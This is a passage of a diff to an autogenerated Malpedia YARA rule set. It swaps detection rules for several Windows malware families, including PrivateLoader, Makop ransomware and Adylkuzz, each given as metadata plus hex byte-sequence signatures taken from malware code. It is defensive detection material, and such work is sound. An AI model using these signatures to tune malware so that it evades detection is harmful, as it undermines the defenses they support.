"https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nightclub_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stowaway" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stowaway_auto.yar#L1-L199" license_url = "N/A" - logic_hash = "15f8ebb368b37ab60005cfeccfb61f1f120d9d4f8ce48162386ff7677923e6da" + logic_hash = "84a539e785b0d71993d13deb34a2d8f732a0d59ec389deb587ebb307e97415d7" score = 75 quality = 75 tags = "FILE" @@ -140152,32 +139855,42 @@ rule MALPEDIA_Win_Nightclub_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 8d45f4 64a300000000 8b4508 8d75d4 c745ec00000000 e8???????? } - $sequence_1 = { 889d5ffeffff ff15???????? 8d855efeffff c645fc05 50 } - $sequence_2 = { c645fc0c ff15???????? 85c0 0f8827010000 8b0d???????? 8b11 52 } - $sequence_3 = { 83c404 85c9 7517 33c0 8b450c 8d0442 5f } - $sequence_4 = { 8bff 8d45d4 8bcf e8???????? 50 c745fc01000000 8b4e08 } - $sequence_5 = { ff15???????? 83c610 3bf7 75f1 8b4304 50 ff15???????? } - $sequence_6 = { 83f806 7753 0fb69058720010 ff249550720010 ba???????? 8bc7 8d742430 } - $sequence_7 = { eb03 8945fc a1???????? 8b08 51 6a00 8d4e74 } - $sequence_8 = { 834dec01 85c0 7505 a1???????? 8bf0 8d4900 } - $sequence_9 = { 72e6 b892010000 5f 5e 8b4df8 33cd e8???????? } + $sequence_0 = { 76e8 77e8 78e8 79e8 } + $sequence_1 = { 78e8 79e8 7ae8 ce f67be8 } + $sequence_2 = { ce f67be8 7ce8 7de8 } + $sequence_3 = { a3???????? 4e fb b501 } + $sequence_4 = { 751e 53 2661 6d b040 3d1db5094f } + $sequence_5 = { 2a37 e394 5e b5a9 0e 2cc6 ec } + $sequence_6 = { 5b 6b5e045f aa 43 9a7f6eb1f75c72 7f30 fa } + $sequence_7 = { 50 91 3e06 48 52 2692 4e } + $sequence_8 = { 1b7f1c b567 8110932238ba 81f82f2437b0 645b f257 326640 } + $sequence_9 = { d4ff 57 ed 7a80 51 80534080 } + $sequence_10 = { 99 0039 801002 3900 99 } + $sequence_11 = { e774 5b 004f49 5c } + $sequence_12 = { 8d843000a03b00 01f3 50 83c708 } + $sequence_13 = { 777c 7781 7782 7783 7786 7787 } + $sequence_14 = { 3c77 0c35 f20b18 40 } + $sequence_15 = { f3676d 51 99 9f 4b 8099543c7bbf7a } + $sequence_16 = { a5 ed 91 34cf } + $sequence_17 = { 60 41 69e038173794 6c 5c d10f } + $sequence_18 = { d7 80cf73 c9 f0f3f9 } + $sequence_19 = { a4 49 07 04bc 3c2f } condition: - 7 of them and filesize < 247808 + 7 of them and filesize < 8003584 } -rule MALPEDIA_Win_Goggles_Auto : FILE +rule MALPEDIA_Win_Privateloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "040bb693-a4be-548d-a501-6f2900be4db7" + id = "f74899e2-5f0f-5412-9628-abf5d89b0b25" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goggles" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.goggles_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.privateloader_auto.yar#L1-L180" license_url = "N/A" - logic_hash = "2057c3d81d740df16e7462115b1eb3ac99d3eec33754199313bf18b2c821d705" + logic_hash = "6d2070cfc4fc90b89a113279c1da7a1229970780c46dc9914cb804e46d0ce9c2" score = 75 quality = 75 tags = "FILE" @@ -140191,32 +139904,41 @@ rule MALPEDIA_Win_Goggles_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 8d842488010000 6a00 50 ff15???????? } - $sequence_1 = { 52 68???????? ff15???????? 8a542b01 } - $sequence_2 = { 68???????? e8???????? 83c410 c680a841001000 8d842410010000 } - $sequence_3 = { 8a8010400010 88441efe 8a4c2fff 83e13f 4a 8a8110400010 88441eff } - $sequence_4 = { 0f8559ffffff 8b442414 83f803 756e 0fbe0437 } - $sequence_5 = { 33f6 894c240c 85c9 7e6f 8b4c2418 8bc2 2bc1 } - $sequence_6 = { 0fbe043e 50 68???????? ff15???????? b9???????? 2ac1 c0e002 } - $sequence_7 = { 55 57 88442410 b940000000 33c0 8d7c2411 } - $sequence_8 = { 8a4c2ffe c1f806 83e10f 83e003 c1e102 0bc1 8a8010400010 } - $sequence_9 = { 0fbe8288410010 50 68???????? ff15???????? } + $sequence_0 = { 8bec 83ec1c 894df8 8b45f8 8b4810 894df4 } + $sequence_1 = { 8945f4 8b4dfc 83791408 7209 } + $sequence_2 = { 8b55e4 8a45ff 88040a 8b45f8 } + $sequence_3 = { 8b4d08 3b4814 776d 8b55f8 8955f4 8b45f4 8945ec } + $sequence_4 = { 8b45d8 8b4ddc 8b55d0 8b75d4 } + $sequence_5 = { 8b4508 8945e4 8b4de8 034de4 8a55ff } + $sequence_6 = { 8945c8 8955cc 8b45c8 8b55cc 5e } + $sequence_7 = { 8b55f8 8b45f4 3b4214 736c } + $sequence_8 = { e8???????? 33d2 b93f000000 f7f1 } + $sequence_9 = { 8b4590 8b4d94 8b5588 8b758c } + $sequence_10 = { a3???????? 33c0 5e c3 3b0d???????? } + $sequence_11 = { e8???????? 83c610 83c002 83ef08 } + $sequence_12 = { 81ec68010000 a1???????? 33c5 8945fc 56 57 } + $sequence_13 = { 83c201 8955e0 83d600 8975e4 } + $sequence_14 = { 8b4de0 8b45e4 50 51 52 56 e8???????? } + $sequence_15 = { 6a04 8d4310 50 6a06 } + $sequence_16 = { 0bc8 56 57 7529 } + $sequence_17 = { 8b8578ffffff 8b8d7cffffff 8b9570ffffff 8bb574ffffff } + $sequence_18 = { 03d0 8b4d9c 13f1 83c201 } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 3670016 } -rule MALPEDIA_Win_Edam_Auto : FILE +rule MALPEDIA_Win_Adylkuzz_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f4028c21-33b6-5e9f-a37a-2699bc732d08" + id = "4eb10972-cae7-59fc-a870-eebdff70e8df" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.edam" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.edam_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adylkuzz" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.adylkuzz_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "62aff47bf3ddbcb69a86cf1dabc7a43bddd2da8a74c7bd24c0bccdeef4523386" + logic_hash = "de5f91809dc8ef12371c16bfe87d826bfdd622a4d5fefa4fc686464cb89ee65c" score = 75 quality = 75 tags = "FILE" @@ -140230,32 +139952,32 @@ rule MALPEDIA_Win_Edam_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c8ff eb1e 8b45fc 3bd6 8b0c8560b74500 0f95c0 02c0 } - $sequence_1 = { 50 8d45b0 8955d8 50 e8???????? 8d45b0 50 } - $sequence_2 = { 8bc1 83e13f c1f806 6bc930 8b048560b74500 f644082801 7406 } - $sequence_3 = { 40 c745ec603c4200 894df8 8945fc 64a100000000 8945e8 } - $sequence_4 = { 8bd1 8b42e8 8d72e8 8b4004 c74410e818654400 8b06 8b4804 } - $sequence_5 = { 50 6a01 8d4dd4 e8???????? 68???????? 8d45d4 c745d4c0634400 } - $sequence_6 = { 8b45f0 894df4 8b048560b74500 c644022a0a 0f8484000000 } - $sequence_7 = { 8d8d08fdffff c785b4fdffff0f000000 c785b0fdffff00000000 c685a0fdffff00 e8???????? 8b859cfdffff } - $sequence_8 = { 6a55 ff34f5788a4400 ff7508 e8???????? 83c40c 85c0 } - $sequence_9 = { 3bc6 7353 807d8600 8a88a87c4400 8b857cffffff 8808 } + $sequence_0 = { c1c002 3bec f5 33d8 03f8 e9???????? 668b442500 } + $sequence_1 = { e8???????? 8b35???????? b9???????? 89d8 8b7b08 89f2 e8???????? } + $sequence_2 = { f8 81c508000000 f5 f9 8901 660fc1c0 81ee04000000 } + $sequence_3 = { f6c32d 3bce d2e8 6689442504 0fbfc2 660fb6c5 0fc8 } + $sequence_4 = { f7d8 33d8 663bd2 f5 03f8 ffe7 660fb6442500 } + $sequence_5 = { c7042400000000 b90b000000 89fa 89d8 e8???????? 85c0 7482 } + $sequence_6 = { df6c2428 eb77 837c241c08 0f8595020000 f744242000008000 7504 df2e } + $sequence_7 = { f7d0 8b06 f5 6685fb 33c3 f9 663bf0 } + $sequence_8 = { 8b5034 39d1 0f47ca f6c740 7408 8b5038 39d1 } + $sequence_9 = { e8???????? 8b5e08 83fb03 7518 8b16 b9fbffffff 89e8 } condition: - 7 of them and filesize < 807936 + 7 of them and filesize < 6438912 } -rule MALPEDIA_Win_Cryptolocker_Auto : FILE +rule MALPEDIA_Win_Babar_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1c4f4307-498a-5b8a-b0ac-d9860b1cffe0" + id = "b29cd175-863b-5025-9e64-c8f5753d1c62" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptolocker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptolocker_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babar" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.babar_auto.yar#L1-L162" license_url = "N/A" - logic_hash = "0e60803263408ddfb3182de11bb9ae9942a6a4eed3e22029213fee0c658ec6ec" + logic_hash = "2b221179b5f8ee2ea03d97e07ac34f9970eda994151497ddf7357451a1c3d5d6" score = 75 quality = 75 tags = "FILE" @@ -140269,82 +139991,77 @@ rule MALPEDIA_Win_Cryptolocker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c1e810 50 8b4610 52 ffd0 0fb6c0 5e } - $sequence_1 = { 83f80d 7605 663bc3 7504 } - $sequence_2 = { 8b06 8945e0 8b4604 8945e4 8b4d14 } - $sequence_3 = { 7539 ff7508 8b55ec 8b4de8 e8???????? } - $sequence_4 = { 48 7527 33f6 397714 7620 8b1d???????? 8b4710 } - $sequence_5 = { 5d c21800 8b4304 6a40 ff7518 8b4004 } - $sequence_6 = { ff15???????? 668b45dc 66a3???????? 8be5 5d c3 33c0 } - $sequence_7 = { 4e 49 79e4 5b } - $sequence_8 = { 740e 50 52 ff35???????? ff15???????? 5f } - $sequence_9 = { 8bd8 81fb7a000780 750e 807dff00 751f } + $sequence_0 = { 3bd6 7505 8d55e0 eb16 } + $sequence_1 = { 3bd6 721b 57 8bcb e8???????? 8bc8 } + $sequence_2 = { 3bd6 7503 8d5014 895010 } + $sequence_3 = { 3bd7 0f8440010000 397e14 0f8437010000 } + $sequence_4 = { 46 ddd9 83fe03 ddd8 } + $sequence_5 = { 3bd6 7505 8d55d8 eb16 } + $sequence_6 = { 3bd7 7215 7704 3bc3 } + $sequence_7 = { 3bd6 72d9 33f6 eb08 } + $sequence_8 = { 7506 807a0100 751c 8bc6 83c301 } + $sequence_9 = { 83c104 5f 8bc1 2b442414 5e c60100 } + $sequence_10 = { eb4b 8b4c2428 55 6800014004 55 55 55 } + $sequence_11 = { 8b5308 8b03 8bf9 33fa } + $sequence_12 = { 89542448 ffd5 50 53 ff15???????? 85c0 } + $sequence_13 = { 8b15???????? 5f 895608 8bc6 5e 8b8c2408060000 33cc } + $sequence_14 = { 8d442418 50 6a00 57 51 } + $sequence_15 = { 0fb65002 83e23f 0fb61432 885103 83c003 83c104 } condition: - 7 of them and filesize < 778240 + 7 of them and filesize < 1294336 } -rule MALPEDIA_Win_Pushdo_Auto : FILE +rule MALPEDIA_Win_Makop_Ransomware_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ea9fd106-28fc-55dd-aa56-b9cc29b476a3" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pushdo_auto.yar#L1-L210" + id = "cd34e745-9497-5ffc-bd73-ecb5996e2067" + date = "2023-07-11" + modified = "2023-07-15" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop_ransomware" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.makop_ransomware_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "44aafb8e474bf55b9e9061326e2ace4a0bcd7b0153f05d8cb31960fbba3d00f5" + logic_hash = "3c7cc3419f322a8e9eb8473ecaf54fc5da0725e8a0f35ff3f90245e28389848b" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20230705" + malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41" + malpedia_version = "20230715" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f7f9 33c9 ba88020000 f7e2 } - $sequence_1 = { 50 ff15???????? 33d2 b9ffff0000 f7f1 } - $sequence_2 = { 60 8b45fc b10b d3c0 61 } - $sequence_3 = { 8a85effeffff 888415f0feffff 8b4d08 034dfc 0fbe11 } - $sequence_4 = { 81ec18010000 6800010000 6a00 8d85f0feffff 50 e8???????? } - $sequence_5 = { 8b55fc 3b5510 0f83a6000000 8b45f4 83c001 25ff000000 } - $sequence_6 = { 8b450c 0345fc 8810 e9???????? 8be5 } - $sequence_7 = { 8b55fc 83c201 8955fc 817dfc00010000 736a 8b45fc } - $sequence_8 = { 03c2 c1f808 49 79dd } - $sequence_9 = { ff15???????? 8945fc 3bc7 0f84a1010000 8d45ec 50 8d4598 } - $sequence_10 = { 7413 8d45f8 50 8d85f0fdffff 50 } - $sequence_11 = { 6a04 bb00300000 53 bf00100000 } - $sequence_12 = { 0f849f000000 8d45f8 50 6801008000 6801680000 ff75fc } - $sequence_13 = { 52 8d8588fbffff 50 e8???????? } - $sequence_14 = { 8b5508 8b02 8945f4 837df400 741a 8b4df4 } - $sequence_15 = { e8???????? 898544feffff 8b8544feffff 33d2 b90a000000 } - $sequence_16 = { 8bff 55 8bec 8b450c c1e810 } - $sequence_17 = { eb0f 8b9570fdffff 83c201 899570fdffff 83bd70fdffff14 } - $sequence_18 = { 2b4dfc 3b4dec 7307 33c0 e9???????? 8b55fc } - $sequence_19 = { e8???????? 8945b8 6a6c 8b4db8 51 e8???????? 8945b8 } - $sequence_20 = { 55 8bec 0fb6450c c1f804 83e00f 8b4d08 8a906c520009 } + $sequence_0 = { eb02 33f6 803d????????00 751f 803d????????00 7516 80fb01 } + $sequence_1 = { 52 50 51 e8???????? 8b542430 83c40c 68e0930400 } + $sequence_2 = { 52 66c7060802 66c746041066 c6460820 } + $sequence_3 = { 56 ff15???????? 85c0 750b 8906 32c0 5e } + $sequence_4 = { 83c001 84c9 75f7 2bc7 83e801 39442404 720a } + $sequence_5 = { ffd6 85ff 740f 85db 740b 837c242000 7404 } + $sequence_6 = { 8b2d???????? 3beb 742e 8b4524 3bc3 7407 50 } + $sequence_7 = { 7416 e8???????? 6a00 e8???????? 83c404 } + $sequence_8 = { e8???????? 8b442418 83c40c 8b4f0c } + $sequence_9 = { 742f 33c0 3906 763d 8d4c2448 } condition: - 7 of them and filesize < 163840 + 7 of them and filesize < 107520 } -rule MALPEDIA_Win_Cruloader_Auto : FILE +rule MALPEDIA_Win_Unidentified_110_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "39947838-03a3-5a24-945d-6e866d043993" + id = "cf62c553-12f9-5533-845c-44826d9d56b2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cruloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cruloader_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_110" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_110_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "4307b8e0f195ebffc58740c34a8819f9896c989908200e4e4f90e094ceef34c2" + logic_hash = "e61c3758e63fca434ff16788b9f2b50055e755cc5399fb0099b370350ca7876a" score = 75 quality = 75 tags = "FILE" @@ -140358,32 +140075,32 @@ rule MALPEDIA_Win_Cruloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 53 56 57 8b7d08 eb6f 8b07 8d1c85605c4100 } - $sequence_1 = { 8b413c 0f104508 53 56 } - $sequence_2 = { 8bcf 83e73f c1f906 6bd738 8b0c8dd85e4100 c644112800 85f6 } - $sequence_3 = { 6bc618 57 8db8e8604100 57 ff15???????? } - $sequence_4 = { c0c104 80f19a 884c15f0 42 3bd0 } - $sequence_5 = { 8b75e4 3bf7 7523 baf63f4890 b901000000 } - $sequence_6 = { 33f6 898de0fcffff 898500fdffff 85db } - $sequence_7 = { 894de0 8b049dd85e4100 f644082801 7469 } - $sequence_8 = { 8b8514fdffff 898d0cfdffff 0fb74006 898508fdffff 85c0 7433 83c108 } - $sequence_9 = { b902000000 e8???????? ba241d19e5 a3???????? } + $sequence_0 = { 753e 4c89f1 89da 4189e8 e8???????? 8a08 488b5040 } + $sequence_1 = { 4c89e0 48f7e1 4989c7 0f91c0 0f8050010000 88c3 48c1e306 } + $sequence_2 = { f0480fc11d???????? 8b05???????? 65488b0c2558000000 488b04c1 80b82001000000 7505 e8???????? } + $sequence_3 = { 48ffc8 4883f802 0f83ab000000 488bb42430010000 488d4e18 498b1424 e8???????? } + $sequence_4 = { e8???????? 0f1006 0f104e10 0f105620 0f119390000000 0f118b80000000 0f114370 } + $sequence_5 = { 4c89c1 e8???????? 4889c7 83ff01 7543 4889d9 ba2f000000 } + $sequence_6 = { 4c8d642448 49c7c6ffffffff 4c89e9 e8???????? 6683f801 0f85b6000000 89d5 } + $sequence_7 = { 4c8d0557060800 ba25000000 e8???????? 0f0b 56 4883ec20 488b31 } + $sequence_8 = { 4869cf48010000 4801c1 4883c108 48c741f801000000 41b840010000 4c89f2 e8???????? } + $sequence_9 = { 65488b0c2558000000 488b2cc1 0fb7b578010000 66c785780100000180 4889f9 4c89f2 e8???????? } condition: - 7 of them and filesize < 196608 + 7 of them and filesize < 3217408 } -rule MALPEDIA_Win_Sykipot_Auto : FILE +rule MALPEDIA_Win_Turnedup_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e29757c6-dae5-5753-908e-00d3e87a0250" + id = "f4a24578-5335-5053-b07f-943404877172" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sykipot_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.turnedup_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "744def3f8deb3752311459797b4729b29083d33b4fd30373345787d25fb29e80" + logic_hash = "70af128b8d10ec8ac1a0ea6deea907b76cc81c6db7a8cb227ddf71385e7b13b6" score = 75 quality = 75 tags = "FILE" @@ -140397,34 +140114,34 @@ rule MALPEDIA_Win_Sykipot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d842494030000 68???????? 50 ffd6 83c40c 85c0 0f85fd000000 } - $sequence_1 = { 8bcd 83e103 8d442410 f3a4 } - $sequence_2 = { b93f000000 33c0 8dbc2469060000 88942468070000 f3ab } - $sequence_3 = { 3bf3 89742438 751b 8d4c2424 } - $sequence_4 = { 83c408 85c0 75da 8b85e8feffff 8b8dd8feffff eb06 } - $sequence_5 = { c1e902 f3a5 8bcd 8d94248c010000 83e103 } - $sequence_6 = { aa c744241820000000 52 8d442428 50 ff15???????? 83c9ff } - $sequence_7 = { 8b94242c060000 56 8d842498000000 57 } - $sequence_8 = { 50 ffd6 83c40c 8d4c2428 51 68???????? 6a00 } - $sequence_9 = { e8???????? 83c410 68???????? ffd5 8d842488000000 50 ffd5 } + $sequence_0 = { 6a0d c741140f000000 c7411000000000 68???????? 8945a8 c60100 } + $sequence_1 = { 85db 7417 8d4df4 8bf3 } + $sequence_2 = { 7f0d 0fbed0 0fbec1 8d4a05 } + $sequence_3 = { c70600000000 c6460401 807e0530 0f8cf1000000 807e0400 7538 8b0e } + $sequence_4 = { 740f e8???????? 8b4dbc 8801 } + $sequence_5 = { 8d44244c 50 e8???????? dd542448 8b442434 } + $sequence_6 = { 7405 884305 eb06 c70300000000 c6430401 8a4b05 884dbb } + $sequence_7 = { ffd3 83ec1c 8bcc 6a0d c741140f000000 c7411000000000 68???????? } + $sequence_8 = { c60100 e8???????? c3 56 } + $sequence_9 = { 8945fc 8d45fc 50 8d4df0 e8???????? 68???????? } condition: - 7 of them and filesize < 286720 + 7 of them and filesize < 892928 } -rule MALPEDIA_Win_Cryptowall_Auto : FILE +rule MALPEDIA_Win_Nspx30_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "50af5d84-6bf2-5e21-963e-da71c1d0aa83" + id = "b7c1fb90-4e2e-567c-b71f-a04015c19cf0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowall" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptowall_auto.yar#L1-L108" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nspx30" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nspx30_auto.yar#L1-L307" license_url = "N/A" - logic_hash = "44ba25f2c9e3be57522d3914736a7aa98c9dc8885fa529ce3340a46dbf9f3527" + logic_hash = "21c2ef2f3120756bc5bb636c0145196e56cf18e54f32669d823d96a566a0c7b3" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -140436,32 +140153,53 @@ rule MALPEDIA_Win_Cryptowall_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 e8???????? 8b482c ffd1 6a00 } - $sequence_1 = { 83ec08 837d0800 7502 eb4f 6a08 6a00 } - $sequence_2 = { e8???????? 83c408 99 b91a000000 } - $sequence_3 = { 894dfc 837df805 752d 837dfc00 } - $sequence_4 = { 83ec18 56 8b450c 50 } - $sequence_5 = { 99 b91a000000 f7f9 83c261 8b45f4 } - $sequence_6 = { e8???????? 83c408 8b0d???????? 898114010000 } - $sequence_7 = { b861000000 668945ee b963000000 66894df0 } - $sequence_8 = { 52 e8???????? 8b400c ffd0 } - $sequence_9 = { 6880000000 6a00 8d4de8 51 } + $sequence_0 = { f3ab 66ab aa b06c } + $sequence_1 = { 0f8418030000 8b8530e5ffff 8b0485384c0410 f644060480 0f8400030000 e8???????? } + $sequence_2 = { 8903 c7831400080000000000 eb58 ff15???????? 8bc8 8b44240c } + $sequence_3 = { 6a04 6800100000 03c3 57 50 ff5508 } + $sequence_4 = { 8bf0 85db 742e 85ff } + $sequence_5 = { 66c78424d80000007300 66c78424de0000006100 66c78424e20000006f00 66c78424e60000002100 66c78424ea0000006500 66c78424ec0000007700 66c78424ee0000003a00 } + $sequence_6 = { 8b45f8 50 e8???????? 8945a8 688e4e0eec } + $sequence_7 = { 6689b4249c000000 52 be32000000 6a00 51 66c74424787b00 66c744247a3300 } + $sequence_8 = { 0f8c89010000 8b4c2410 8b11 8b420c 8b7a08 } + $sequence_9 = { 33c0 e9???????? 8b550c 52 6a14 e8???????? } + $sequence_10 = { 5e 7426 40 c60057 40 c60049 40 } + $sequence_11 = { 833800 0f8494010000 ff750c ff7508 e8???????? 8bf0 } + $sequence_12 = { 8b44240c 85c0 7460 53 ba04000000 } + $sequence_13 = { e8???????? 8b0f 8bc1 c1f805 83e11f 8b0485384c0410 c1e106 } + $sequence_14 = { 83ec0c 53 8b5c2414 56 57 6a01 } + $sequence_15 = { b843000000 66898c24c0000000 66898c24ce000000 66898c24d2000000 } + $sequence_16 = { 6689bc24fe000000 6689bc2400010000 6689b42402010000 66c78424040100004500 66c78424080100003300 66c784240a0100004500 } + $sequence_17 = { 6689444ffe 3bcb 72e7 e9???????? 8b7c2418 33c9 85db } + $sequence_18 = { bf???????? 83c9ff 33c0 6a5c } + $sequence_19 = { 8b0495384c0410 83c702 ff3418 ff15???????? 85c0 750e ff15???????? } + $sequence_20 = { 894dfc 8b55fc 8b4508 034220 8945ec } + $sequence_21 = { 8b1481 8955d8 8b4508 0345d8 eb04 eba4 } + $sequence_22 = { ffd2 c7461000000000 8b4608 53 8b5c2410 85c0 } + $sequence_23 = { 83c404 c745fcffffffff 833d????????00 8b07 } + $sequence_24 = { c7402420120010 c7402860120010 33c0 5e c20800 6879270000 ff15???????? } + $sequence_25 = { b801000000 5b 81c410030000 c20c00 5f 5e } + $sequence_26 = { 5b 754a c7002c000000 895004 895008 c7400ca0120010 } + $sequence_27 = { 83c9ff 33c0 c644240c57 c644240d69 c644240e6e c644240f64 c64424106f } + $sequence_28 = { 6a00 ff15???????? 8bfb 83c9ff 33c0 b25c f2ae } + $sequence_29 = { 7c86 5f 5d 5e 5b } + $sequence_30 = { 57 66896c2436 66896c2446 8d4c2414 bb38000000 be2d000000 } condition: - 7 of them and filesize < 417792 + 7 of them and filesize < 3789824 } -rule MALPEDIA_Win_Tonerjam_Auto : FILE +rule MALPEDIA_Win_Pgift_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f786075c-cfe5-5b49-a6e1-4889818e7624" + id = "5134e180-c701-504d-b27b-1f2a37782304" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tonerjam" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tonerjam_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pgift" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pgift_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "d8a6c742127525a08706ace06fd5028ecb9ea4f1402f1305542963485e91aa8b" + logic_hash = "86543d2a9c2965bb35bf9078bd182bce16bae717918e12d47f187ce1755d9b8f" score = 75 quality = 75 tags = "FILE" @@ -140475,34 +140213,34 @@ rule MALPEDIA_Win_Tonerjam_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d4c2458 448d4218 ff15???????? 488d442458 c744247068000000 4889442448 } - $sequence_1 = { 41b804010000 ff15???????? 33d2 488d8d50010000 41b804010000 } - $sequence_2 = { 4883ec28 e8???????? 488bc8 488d15314e0100 4883c428 e9???????? 48895c2418 } - $sequence_3 = { 488d4508 458bce 4533c0 4889442420 488d1515c10100 48c7c102000080 ff15???????? } - $sequence_4 = { ff15???????? 85c0 757c 48c7c0ffffffff } - $sequence_5 = { 4903c0 660f1f840000000000 8030e5 488d4001 } - $sequence_6 = { 33d2 e8???????? 4885db 7414 488d0536d70100 483bd8 } - $sequence_7 = { 33c9 ff15???????? cc b801000000 488b8c2430010000 4833cc e8???????? } - $sequence_8 = { c3 397c2440 488b5c2448 400f95c7 8bc7 } - $sequence_9 = { 488d0dbac10100 e8???????? 48c7c3ffffffff 488d8d70020000 488bc3 0f1f4000 48ffc0 } + $sequence_0 = { c645fc03 e8???????? ff7510 8d4de8 } + $sequence_1 = { e8???????? 8d7e01 57 ebac } + $sequence_2 = { 53 6a11 ff15???????? 8bd8 8d45ec } + $sequence_3 = { 53 6a01 6800000040 ff75ec ff15???????? 8bd8 } + $sequence_4 = { 7408 ff4510 83c710 eb99 8b4e14 } + $sequence_5 = { 89450c 8d45e4 53 50 8d4594 50 } + $sequence_6 = { 50 8d4de4 e8???????? 33db 8d8de4feffff 895dfc 895dec } + $sequence_7 = { 8d4de8 c645fc01 e8???????? 83f8ff 750f 6a2f 8d4de8 } + $sequence_8 = { e9???????? 8b4d08 8bc3 2bc1 c1f802 3bc7 7369 } + $sequence_9 = { 